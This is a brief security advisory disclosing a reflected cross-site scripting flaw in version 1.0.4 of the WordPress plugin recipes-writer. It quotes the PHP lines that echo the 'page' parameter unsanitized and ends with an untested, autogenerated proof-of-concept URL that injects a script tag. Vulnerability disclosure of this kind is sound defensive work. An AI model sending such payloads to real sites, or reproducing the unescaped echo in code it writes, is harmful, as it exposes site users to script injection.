Advisory #: 380
Title: Reflected XSS in wordpress plugin recipes-writer v1.0.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site:
Downloads: 664
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact:
Plugin Name: recipes-writer
There is a reflected XSS vulnerability in the following php code ./recipes-writer/admin-recipes.php: 54: <li><a href="?page=<?php echo $_GET['page']; ?>&action=edit">Create New Recipe</a></li> 61: <th scope="col" class="col-small"><a href="?page=<?php echo $_GET['page']; ?>&sort=id">ID</a><?php if ( $_GET['sort'] == 'id' || !isset( $_GET['sort'] ) ) echo " &#x25BC;"; ?></td> 62: <th scope="col"><a href="?page=<?php echo $_GET['page']; ?>&sort=name">Name</a><?php if ( $_GET['sort'] == 'name' ) echo " &#x25BC;"; ?></td> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000147
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/recipes-writer/admin-recipes.php?page="><script>alert(1);</script><"